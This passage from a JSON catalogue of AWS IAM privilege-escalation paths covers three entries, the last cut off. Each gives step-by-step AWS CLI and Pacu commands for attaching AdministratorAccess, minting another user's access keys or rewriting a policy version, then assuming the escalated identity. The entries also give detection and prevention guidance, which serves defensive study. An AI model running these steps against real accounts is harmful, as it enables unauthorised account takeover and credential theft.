        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      "derivativeOf": {
        "pathId": "iam-009",
        "modification": "This variation combines iam:AttachRolePolicy with sts:AssumeRole for lateral movement to another role (requires trust policy configuration)"
      }
    },
    "references": [
      {
        "title": "AWS IAM Privilege Escalation Methods",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "Pathfinding Labs - IAM AttachRolePolicy + AssumeRole Scenario",
        "url": "https://github.com/WithSecureLabs/pathfinding-labs"
      },
      {
        "title": "HackTricks - AWS - IAM Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamattachrolepolicy--stsassumeroleiamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy"
      }
    ],
    "detectionTools": {
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L121",
      "pacu": "https://github.com/RhinoSecurityLabs/pacu/blob/50e7ad2d885b7ab4bc130f44b798ca85ed4d7a91/pacu/modules/iam__privesc_scan/main.py#L580",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L66"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-attachrolepolicy+sts-assumerole",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "IAM-AttachRolePolicy",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "cybr": {
        "type": "closed-source",
        "description": "Hosted learning environment with interactive AWS security labs",
        "scenario": "https://cybr.com/courses/iam-privilege-escalation-labs/lessons/lab-ctf-iamattachrolepolicy-privesc/",
        "scenarioPricingModel": "paid"
      }
    },
    "relatedPaths": [
      "iam-001",
      "iam-002",
      "iam-003"
    ],
    "detectionRules": [
      {
        "platform": "CloudSIEM",
        "ruleId": "TBD",
        "url": "https://docs.datadoghq.com/security/default_rules/"
      }
    ],
    "toolSupport": {
      "pmapper": true,
      "iamVulnerable": false,
      "pacu": false,
      "prowler": true
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal initiating the attack. Can be an IAM user or role with both `iam:AttachRolePolicy` and `sts:AssumeRole` permissions on the target role.\n\nThis principal may have minimal or no administrative permissions initially, but the combination of these two permissions creates a complete privilege escalation path.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Target Role",
          "type": "principal",
          "description": "The IAM role being modified and assumed. Must have a trust policy that allows the starting principal to assume it.\n\nInitially, this role may have minimal or no privileges. The attacker will attach the AdministratorAccess policy to it.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "Full administrative access to the AWS account. The attacker achieves this by:\n1. Attaching AdministratorAccess policy to the target role\n2. Assuming the target role to obtain temporary credentials\n3. Using those credentials to perform administrative actions\n\nThis is a deterministic outcome since the attacker controls which policy to attach to the role.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "target_role",
          "label": "iam:AttachRolePolicy (AdministratorAccess)",
          "description": "The attacker uses `iam:AttachRolePolicy` to attach the AWS-managed AdministratorAccess policy to the target role.\n\nCommand:\n```bash\naws iam attach-role-policy \\\n  --role-name target-role-name \\\n  --policy-arn \"arn:aws:iam::aws:policy/AdministratorAccess\"\n```\n\nAfter this action, the target role has administrative permissions. The attacker must wait approximately 15 seconds for the IAM policy changes to propagate across AWS infrastructure.\n"
        },
        {
          "from": "target_role",
          "to": "admin",
          "label": "sts:AssumeRole",
          "description": "The attacker uses `sts:AssumeRole` to assume the now-privileged target role and obtain temporary credentials.\n\nCommand:\n```bash\nCREDENTIALS=$(aws sts assume-role \\\n  --role-arn \"arn:aws:iam::ACCOUNT_ID:role/target-role-name\" \\\n  --role-session-name privesc-session \\\n  --query 'Credentials' \\\n  --output json)\n\nexport AWS_ACCESS_KEY_ID=$(echo $CREDENTIALS | jq -r '.AccessKeyId')\nexport AWS_SECRET_ACCESS_KEY=$(echo $CREDENTIALS | jq -r '.SecretAccessKey')\nexport AWS_SESSION_TOKEN=$(echo $CREDENTIALS | jq -r '.SessionToken')\n```\n\nThese temporary credentials have full administrative permissions and can be used to perform any action in the AWS account.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-11-05T19:56:13Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/iam/iam-014.yaml"
  },
  {
    "id": "iam-015",
    "parent": {
      "id": "iam-008",
      "modification": "This variation combines iam:AttachUserPolicy with iam:CreateAccessKey for lateral movement to another user"
    },
    "name": "iam:AttachUserPolicy + iam:CreateAccessKey",
    "category": "principal-access",
    "services": [
      "iam"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L45",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L231"
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:AttachUserPolicy",
          "resourceConstraints": "Must have access to attach policies to the target user"
        },
        {
          "permission": "iam:CreateAccessKey",
          "resourceConstraints": "Must have permission to create access keys for the target user"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListUsers",
          "resourceConstraints": "Helpful for discovering available users to target"
        },
        {
          "permission": "iam:GetUser",
          "resourceConstraints": "Useful for retrieving target user details and verifying existence"
        },
        {
          "permission": "iam:ListAttachedUserPolicies",
          "resourceConstraints": "Helpful for viewing current user permissions before and after modification"
        },
        {
          "permission": "iam:ListAccessKeys",
          "resourceConstraints": "Useful for checking the number of existing access keys (AWS limit is 2 per user)"
        },
        {
          "permission": "iam:ListPolicies",
          "resourceConstraints": "Helpful for discovering AWS-managed policies available to attach"
        }
      ]
    },
    "description": "This is a variation of `iam:AttachUserPolicy` (iam-008). This variation is needed when you have `iam:AttachUserPolicy` permission on another user (not your own principal). In this scenario, you cannot directly escalate your own privileges, but you can escalate by modifying a different user and then authenticating as that user. Since the target is a user (not a role), you need `iam:CreateAccessKey` to create credentials for authentication, rather than using `sts:AssumeRole`. You attach an administrative policy (such as AdministratorAccess) to the target user, create new access keys for that user, and then authenticate using those credentials to gain the elevated privileges. The target user may initially have minimal or no permissions, but you control which policy is attached, making administrative access a deterministic outcome.",
    "prerequisites": {
      "admin": [
        "A target IAM user must exist that you have `iam:AttachUserPolicy` permission on",
        "You must have `iam:CreateAccessKey` permission scoped to the target user",
        "The target user must have fewer than 2 access keys (AWS enforces a limit of 2 access keys per IAM user)",
        "An AWS-managed or customer-managed policy with administrative permissions must exist that you can attach (e.g., AdministratorAccess)"
      ],
      "lateral": [
        "A target IAM user must exist that you have `iam:AttachUserPolicy` permission on",
        "You must have `iam:CreateAccessKey` permission scoped to the target user",
        "The target user must have fewer than 2 access keys (AWS enforces a limit of 2 access keys per IAM user)"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "# Set the target user name\nTARGET_USER=\"target-user-name\"\n",
          "description": "Define the target user that will be modified and compromised"
        },
        {
          "step": 2,
          "command": "# List existing access keys for the target user\naws iam list-access-keys --user-name $TARGET_USER\n",
          "description": "Verify that the target user has fewer than 2 access keys (AWS limit). If the user already has 2 keys, you must delete one first using iam:DeleteAccessKey permission."
        },
        {
          "step": 3,
          "command": "# Attach AdministratorAccess policy to the target user\naws iam attach-user-policy \\\n  --user-name $TARGET_USER \\\n  --policy-arn \"arn:aws:iam::aws:policy/AdministratorAccess\"\n",
          "description": "Attach the AWS-managed AdministratorAccess policy to the target user"
        },
        {
          "step": 4,
          "command": "# Wait for IAM policy changes to propagate (15 seconds)\nsleep 15\n",
          "description": "Wait for the policy attachment to propagate across AWS infrastructure"
        },
        {
          "step": 5,
          "command": "# Verify the policy was attached\naws iam list-attached-user-policies \\\n  --user-name $TARGET_USER \\\n  --query 'AttachedPolicies[*].[PolicyName,PolicyArn]' \\\n  --output table\n",
          "description": "Verify that AdministratorAccess is now attached to the target user"
        },
        {
          "step": 6,
          "command": "# Create new access keys for the target user\nCREDENTIALS=$(aws iam create-access-key \\\n  --user-name $TARGET_USER \\\n  --output json)\n\n# Extract the credentials\nNEW_ACCESS_KEY_ID=$(echo $CREDENTIALS | jq -r '.AccessKey.AccessKeyId')\nNEW_SECRET_ACCESS_KEY=$(echo $CREDENTIALS | jq -r '.AccessKey.SecretAccessKey')\n\necho \"New Access Key ID: $NEW_ACCESS_KEY_ID\"\necho \"New Secret Access Key: $NEW_SECRET_ACCESS_KEY\"\n",
          "description": "Create new access keys for the target user and extract the credentials"
        },
        {
          "step": 7,
          "command": "# Configure a new AWS CLI profile with the stolen credentials\naws configure set aws_access_key_id $NEW_ACCESS_KEY_ID --profile compromised-user\naws configure set aws_secret_access_key $NEW_SECRET_ACCESS_KEY --profile compromised-user\naws configure set region us-east-1 --profile compromised-user\n",
          "description": "Configure a new AWS CLI profile using the newly created access keys"
        },
        {
          "step": 8,
          "command": "# Verify administrative access using the new credentials\naws iam list-users --max-items 5 --profile compromised-user\n",
          "description": "Verify that you now have administrative access by listing IAM users with the compromised credentials"
        }
      ],
      "pacu": [
        {
          "step": 1,
          "command": "# Use Pacu to attach AdministratorAccess to the target user\nrun iam__attach_user_policy --user-name target-user-name --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n",
          "description": "Use Pacu to attach the AdministratorAccess policy to the target user"
        },
        {
          "step": 2,
          "command": "# Use Pacu to create access keys for the target user\nrun iam__create_access_key --user-name target-user-name\n",
          "description": "Use Pacu to create new access keys for the target user and save them for authentication"
        },
        {
          "step": 3,
          "command": "# Switch to the newly created credentials\nswap_keys\n",
          "description": "Configure Pacu to use the newly created access keys for the target user"
        }
      ]
    },
    "limitations": "The attack provides administrative access only if an admin policy (like AdministratorAccess) is attached to the user. However, the attacker could attach any AWS-managed or customer-managed policy they have visibility into, so the level of access depends on available policies.\n",
    "recommendation": "Restrict `iam:AttachUserPolicy` and `iam:CreateAccessKey` using the principle of least privilege. These permissions should rarely be granted together on the same target user, as this combination creates a direct privilege escalation path.\n\n**Prevention strategies:**\n\n1. Use IAM policy conditions to restrict which policies can be attached:\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:AttachUserPolicy\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT:user/SpecificUser\",\n  \"Condition\": {\n    \"ArnNotEquals\": {\n      \"iam:PolicyARN\": [\n        \"arn:aws:iam::aws:policy/AdministratorAccess\",\n        \"arn:aws:iam::aws:policy/IAMFullAccess\"\n      ]\n    }\n  }\n}\n```\n\n2. Restrict `iam:CreateAccessKey` to prevent cross-user access key creation:\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:CreateAccessKey\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT:user/${aws:username}\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:UserName\": \"${aws:username}\"\n    }\n  }\n}\n```\n\n3. Implement Service Control Policies (SCPs) to prevent attachment of highly privileged managed policies\n\n4. Use IAM permissions boundaries to limit the maximum permissions a user can have, even if admin policies are attached\n\n5. Separate the permissions - avoid granting both `iam:AttachUserPolicy` and `iam:CreateAccessKey` to the same principal for other users\n\n6. Require MFA for sensitive policy attachment operations and access key creation\n\n**Detection strategies:**\n\nMonitor CloudTrail for the following event patterns:\n- `AttachUserPolicy` API calls where the calling principal differs from the target user, especially when administrative policies are attached\n- `CreateAccessKey` API calls where the calling principal differs from the target user\n- Sequential occurrences of `AttachUserPolicy` followed by `CreateAccessKey` on the same user within a short time window\n- Attachment of AWS-managed policies like `AdministratorAccess` or `IAMFullAccess` to users\n- Access key creation events that follow policy modification events\n\nSet up CloudWatch alarms for unexpected changes to user policies and creation of access keys by non-self principals. Investigate any modifications to user permissions combined with access key creation.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      "derivativeOf": {
        "pathId": "iam-008",
        "modification": "This variation combines iam:AttachUserPolicy with iam:CreateAccessKey for lateral movement to another user"
      },
      "ultimateOrigin": {
        "pathId": "iam-002",
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS IAM Privilege Escalation \u2013 Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "AWS IAM Privilege Escalation Methods (GitHub Repository)",
        "url": "https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation"
      },
      {
        "title": "HackTricks - AWS - IAM Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamattachuserpolicy--iamattachgrouppolicy"
      },
      {
        "title": "AWS IAM Privilege Escalation Techniques - Hacking The Cloud",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/"
      },
      {
        "title": "Investigating Privilege Escalation Methods in AWS (Bishop Fox)",
        "url": "https://bishopfox.com/blog/privilege-escalation-in-aws"
      },
      {
        "title": "IAM Vulnerable - AWS IAM Privilege Escalation Playground",
        "url": "https://github.com/BishopFox/iam-vulnerable"
      }
    ],
    "relatedPaths": [
      "iam-001",
      "iam-002",
      "iam-003",
      "iam-014"
    ],
    "detectionRules": [
      {
        "platform": "CloudSIEM",
        "ruleId": "TBD",
        "url": "https://docs.datadoghq.com/security/default_rules/"
      }
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-attachuserpolicy+iam-createaccesskey",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "IAM-AttachUserPolicy (privesc7) and IAM-CreateAccessKey (privesc4)",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "cybr": {
        "type": "closed-source",
        "description": "Hosted learning environment with interactive AWS security labs",
        "scenario": "https://cybr.com/courses/iam-privilege-escalation-labs/",
        "scenarioPricingModel": "paid"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal initiating the attack. Can be an IAM user or role with both `iam:AttachUserPolicy` and `iam:CreateAccessKey` permissions on the target user.\n\nThis principal may have minimal or no administrative permissions initially, but the combination of these two permissions creates a complete privilege escalation path.\n"
        },
        {
          "id": "target_user",
          "label": "Existing target-user",
          "type": "principal",
          "description": "The IAM user being modified and compromised. Must be a valid IAM user with fewer than 2 existing access keys.\n\nInitially, this user may have minimal or no privileges. The attacker will attach the AdministratorAccess policy to it and create new access keys for authentication.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "Full administrative access to the AWS account. The attacker achieves this by:\n1. Attaching AdministratorAccess policy to the target user\n2. Creating new access keys for the target user\n3. Authenticating with those credentials to perform administrative actions\n\nThis is a deterministic outcome since the attacker controls which policy to attach to the user.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "target_user",
          "label": "iam:AttachUserPolicy (AdministratorAccess)",
          "description": "The attacker uses `iam:AttachUserPolicy` to attach the AWS-managed AdministratorAccess policy to the target user.\n\nCommand:\n```bash\naws iam attach-user-policy \\\n  --user-name target-user-name \\\n  --policy-arn \"arn:aws:iam::aws:policy/AdministratorAccess\"\n```\n\nAfter this action, the target user has administrative permissions. The attacker must wait approximately 15 seconds for the IAM policy changes to propagate across AWS infrastructure.\n"
        },
        {
          "from": "target_user",
          "to": "admin",
          "label": "iam:CreateAccessKey + Authenticate",
          "description": "The attacker uses `iam:CreateAccessKey` to create new access keys for the now-privileged target user, then authenticates using those credentials.\n\nCommands:\n```bash\n# Create access keys\nCREDENTIALS=$(aws iam create-access-key \\\n  --user-name target-user-name \\\n  --output json)\n\nNEW_ACCESS_KEY_ID=$(echo $CREDENTIALS | jq -r '.AccessKey.AccessKeyId')\nNEW_SECRET_ACCESS_KEY=$(echo $CREDENTIALS | jq -r '.AccessKey.SecretAccessKey')\n\n# Configure profile with new credentials\naws configure set aws_access_key_id $NEW_ACCESS_KEY_ID --profile compromised\naws configure set aws_secret_access_key $NEW_SECRET_ACCESS_KEY --profile compromised\n\n# Use the compromised credentials\naws iam list-users --profile compromised\n```\n\nThese new access keys have full administrative permissions and can be used to perform any action in the AWS account. Unlike temporary credentials from AssumeRole, these access keys do not expire and remain valid until explicitly deactivated or deleted.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-11-07T04:00:34Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/iam/iam-015.yaml"
  },
  {
    "id": "iam-016",
    "parent": {
      "id": "iam-001",
      "modification": "This variation combines iam:CreatePolicyVersion with sts:AssumeRole for lateral movement to a role with the modified policy attached (requires trust policy configuration)"
    },
    "name": "iam:CreatePolicyVersion + sts:AssumeRole",
    "category": "principal-access",
    "services": [
      "iam",
      "sts"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L72",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L232"
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:CreatePolicyVersion",
          "resourceConstraints": "Customer-managed policy ARN must be in the Resource section and the policy must be attached to a role that the attacker can assume"
        },
        {
          "permission": "sts:AssumeRole",
          "resourceConstraints": "Target role ARN must be in the Resource section and the role's trust policy must allow the principal to assume it"
        }
      ],
      "additional": [
        {
          "permission": "iam:GetPolicy",
          "resourceConstraints": "Helpful for getting policy ARN and current version information"
        },
        {
          "permission": "iam:GetPolicyVersion",
          "resourceConstraints": "Useful for viewing current policy document and version details"
        },
        {
          "permission": "iam:ListPolicyVersions",
          "resourceConstraints": "Helpful for listing all policy versions to verify new version creation"
        },
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Useful for discovering roles that have the target policy attached"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Helpful for viewing role details, attached policies, and trust policies"
        }
      ]
    },
    "description": "This is a variation of `iam:CreatePolicyVersion` (iam-001). This variation is needed when you have `iam:CreatePolicyVersion` permission on a customer-managed policy that is attached to another role (not your own principal). In this scenario, you cannot directly escalate your own privileges, but you can escalate by modifying a policy attached to a different role and then assuming that role. This requires both `iam:CreatePolicyVersion` on a customer-managed policy AND `sts:AssumeRole` permission on a role that has that policy attached. Critically, the target role must also be configured with a trust policy that explicitly allows your principal to assume it. You create a new policy version with administrative permissions (setting it as default), then assume the role that has this policy attached to gain the elevated privileges. This exploits AWS's policy versioning feature where new versions take effect immediately for all principals that have the policy attached.",
    "prerequisites": {
      "admin": [
        "A customer-managed policy must exist that is attached to a target role",
        "You must have `iam:CreatePolicyVersion` permission on that customer-managed policy",
        "You must have `sts:AssumeRole` permission scoped to the target role",
        "**Critical**: The target role must have a trust policy that explicitly allows your principal to assume it (e.g., your user or role ARN must be in the Principal element of the role's trust policy)"
      ],
      "lateral": [
        "A customer-managed policy must exist that is attached to a target role",
        "You must have `iam:CreatePolicyVersion` permission on that customer-managed policy",
        "You must have `sts:AssumeRole` permission scoped to the target role",
        "**Critical**: The target role must have a trust policy that explicitly allows your principal to assume it (e.g., your user or role ARN must be in the Principal element of the role's trust policy)"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws sts get-caller-identity",
          "description": "Verify current identity before privilege escalation"
        },
        {
          "step": 2,
          "command": "aws iam list-roles --query 'Roles[*].[RoleName,Arn]' --output table",
          "description": "List available roles to find targets with the customer-managed policy attached (optional but helpful for discovery)"
        },
        {
          "step": 3,
          "command": "aws iam get-policy --policy-arn arn:aws:iam::ACCOUNT_ID:policy/TARGET_POLICY",
          "description": "Get the target customer-managed policy information to verify it exists and check current version"
        },
        {
          "step": 4,
          "command": "aws iam get-policy-version --policy-arn arn:aws:iam::ACCOUNT_ID:policy/TARGET_POLICY --version-id v1",
          "description": "View the current policy document to understand existing permissions (optional)"
        },
        {
          "step": 5,
          "command": "aws iam create-policy-version \\\n  --policy-arn arn:aws:iam::ACCOUNT_ID:policy/TARGET_POLICY \\\n  --policy-document file://admin_policy.json \\\n  --set-as-default\n",
          "description": "Create a new policy version with administrative permissions and set it as default. The policy immediately takes effect for all principals that have it attached."
        },
        {
          "step": 6,
          "command": "sleep 15",
          "description": "Wait briefly for the policy changes to propagate across AWS (typically takes a few seconds)"
        },
        {
          "step": 7,
          "command": "aws iam list-policy-versions --policy-arn arn:aws:iam::ACCOUNT_ID:policy/TARGET_POLICY",
          "description": "Verify the new policy version was created and is set as default (optional)"
        },
        {
          "step": 8,
          "command": "aws sts assume-role \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/TARGET_ROLE \\\n  --role-session-name privesc-session\n",
          "description": "Assume the target role to obtain temporary credentials with the newly elevated permissions"
        },
        {
          "step": 9,
          "command": "export AWS_ACCESS_KEY_ID=<AccessKeyId from step 8>\nexport AWS_SECRET_ACCESS_KEY=<SecretAccessKey from step 8>\nexport AWS_SESSION_TOKEN=<SessionToken from step 8>\n",
          "description": "Configure the AWS CLI to use the assumed role credentials"
        },
        {
          "step": 10,
          "command": "aws sts get-caller-identity",
          "description": "Verify the assumed role identity"
        },
        {
          "step": 11,
          "command": "aws iam list-users --max-items 3",
          "description": "Verify administrative access was successfully obtained"
        }
      ]
    },
    "limitations": "This path provides administrative access only if the new policy version includes administrative permissions (e.g., AdministratorAccess equivalent). The attacker gains whatever permissions are specified in the new policy version they create. However, even limited additional permissions may enable multi-hop attacks.\n",
    "recommendation": "This attack path requires multiple controls to prevent effectively:\n\n**1. Restrict `iam:CreatePolicyVersion` permission:**\n- Very few principals need this permission. Restrict it to only authorized IAM administrators.\n- Use resource-level restrictions to limit which policies can be modified:\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:CreatePolicyVersion\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:policy/AllowedPolicy*\"\n}\n```\n\n**2. Restrict `sts:AssumeRole` permission:**\n- Carefully audit IAM role trust policies to ensure they follow the principle of least privilege.\n- Only allow trusted principals to assume sensitive roles.\n- Consider requiring MFA for sensitive role assumptions:\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Principal\": {\"AWS\": \"arn:aws:iam::ACCOUNT_ID:user/TrustedUser\"},\n  \"Action\": \"sts:AssumeRole\",\n  \"Condition\": {\"Bool\": {\"aws:MultiFactorAuthPresent\": \"true\"}}\n}\n```\n\n**3. Monitoring and Detection:**\n- Alert on `CreatePolicyVersion` events in CloudTrail, especially with `--set-as-default` flag\n- Monitor for `AssumeRole` events on privileged roles, especially shortly after policy version changes\n- Use AWS Config rules to detect roles with administrative permissions that can be assumed by users\n- Implement anomaly detection for unusual assume-role patterns or assumptions from unexpected IP addresses\n\n**4. Additional Controls:**\n- Use IAM Access Analyzer to regularly audit role trust policies for overly permissive trust relationships\n- Implement service control policies (SCPs) to restrict policy version creation at the organizational level\n- Consider using permission boundaries to limit the maximum permissions that can be granted through policy modifications\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      "derivativeOf": {
        "pathId": "iam-001",
        "modification": "This variation combines iam:CreatePolicyVersion with sts:AssumeRole for lateral movement to a role with the modified policy attached (requires trust policy configuration)"
      }
    },
    "references": [
      {
        "title": "AWS IAM Privilege Escalation Methods",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "AWS IAM Privilege Escalation Techniques - Hacking the Cloud",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/"
      },
      {
        "title": "HackTricks - AWS - IAM Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamcreatepolicyversion"
      },
      {
        "title": "Investigating Privilege Escalation Methods in AWS",
        "url": "https://bishopfox.com/blog/privilege-escalation-in-aws"
      }
    ],
    "relatedPaths": [
      "iam-001",
      "iam-007",
      "iam-008",
      "sts-001"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-createpolicyversion+sts-assumerole",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "IAM-CreateNewPolicyVersion",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal initiating the attack. Can be an IAM user or role with both `iam:CreatePolicyVersion` permission on a customer-managed policy and `sts:AssumeRole` permission on a target role. The customer-managed policy must be attached to the target role that the principal can assume.\n"
        },
        {
          "id": "customer_policy",
          "label": "customer-managed-policy",
          "type": "resource",
          "description": "A customer-managed IAM policy that is attached to the target role. The starting principal has `iam:CreatePolicyVersion` permission for this specific policy ARN, allowing them to create new versions with elevated permissions. This policy acts as the pivot point for the attack - by modifying it, the attacker can elevate the permissions of any principal that has it attached.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Target Role",
          "type": "principal",
          "description": "An IAM role that has the customer-managed policy attached to it. The starting principal has `sts:AssumeRole` permission for this role. Once the attacker modifies the customer-managed policy to grant administrative permissions, this role inherits those elevated privileges. The role must have a trust policy that allows the starting principal to assume it.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "Full administrative access to the AWS account. The attacker achieves this by first creating a new version of the customer-managed policy with administrative permissions (setting it as the default), then using `sts:AssumeRole` to assume the target role which now has those elevated privileges. The assumed role credentials provide full administrative access to the AWS environment.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "customer_policy",
          "label": "iam:CreatePolicyVersion",
          "description": "The attacker uses `iam:CreatePolicyVersion` to create a new version of the customer-managed policy with administrative permissions and sets it as the default version.\n\nCommand:\n```bash\naws iam create-policy-version \\\n  --policy-arn \"arn:aws:iam::ACCOUNT_ID:policy/customer-policy-name\" \\\n  --policy-document file://admin_policy.json \\\n  --set-as-default\n```\n\nWhere admin_policy.json contains a policy document granting full administrative access. The `--set-as-default` flag makes this new version active immediately, so any principal with this policy attached (including the target role) instantly gains these elevated permissions.\n"
        },
        {
          "from": "customer_policy",
          "to": "target_role",
          "label": "Policy attached to role",
          "description": "The customer-managed policy is attached to the target role. This is a prerequisite condition that must exist for the attack to work. When the policy is modified to include administrative permissions, the target role automatically inherits those new permissions. The attacker needs to identify this relationship beforehand, typically using `iam:ListEntitiesForPolicy` or `iam:ListAttachedRolePolicies` permissions.\n"
        },
        {
          "from": "target_role",
          "to": "admin",
          "label": "sts:AssumeRole",
          "description": "The attacker uses `sts:AssumeRole` to assume the target role, which now has administrative permissions via the modified customer-managed policy.\n\nCommand:\n```bash\naws sts assume-role \\\n  --role-arn \"arn:aws:iam::ACCOUNT_ID:role/target-role-name\" \\\n  --role-session-name \"privesc-session\"\n```\n\nThe API returns temporary security credentials (AccessKeyId, SecretAccessKey, SessionToken) that have full administrative access. Configure these credentials in the AWS CLI or SDK to perform administrative actions:\n\n```bash\nexport AWS_ACCESS_KEY_ID=<AccessKeyId>\nexport AWS_SECRET_ACCESS_KEY=<SecretAccessKey>\nexport AWS_SESSION_TOKEN=<SessionToken>\n\n# Verify administrative access\naws iam list-users\n```\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-11-07T04:00:34Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/iam/iam-016.yaml"
  },
  {
    "id": "iam-017",
    "parent": {
      "id": "iam-005",
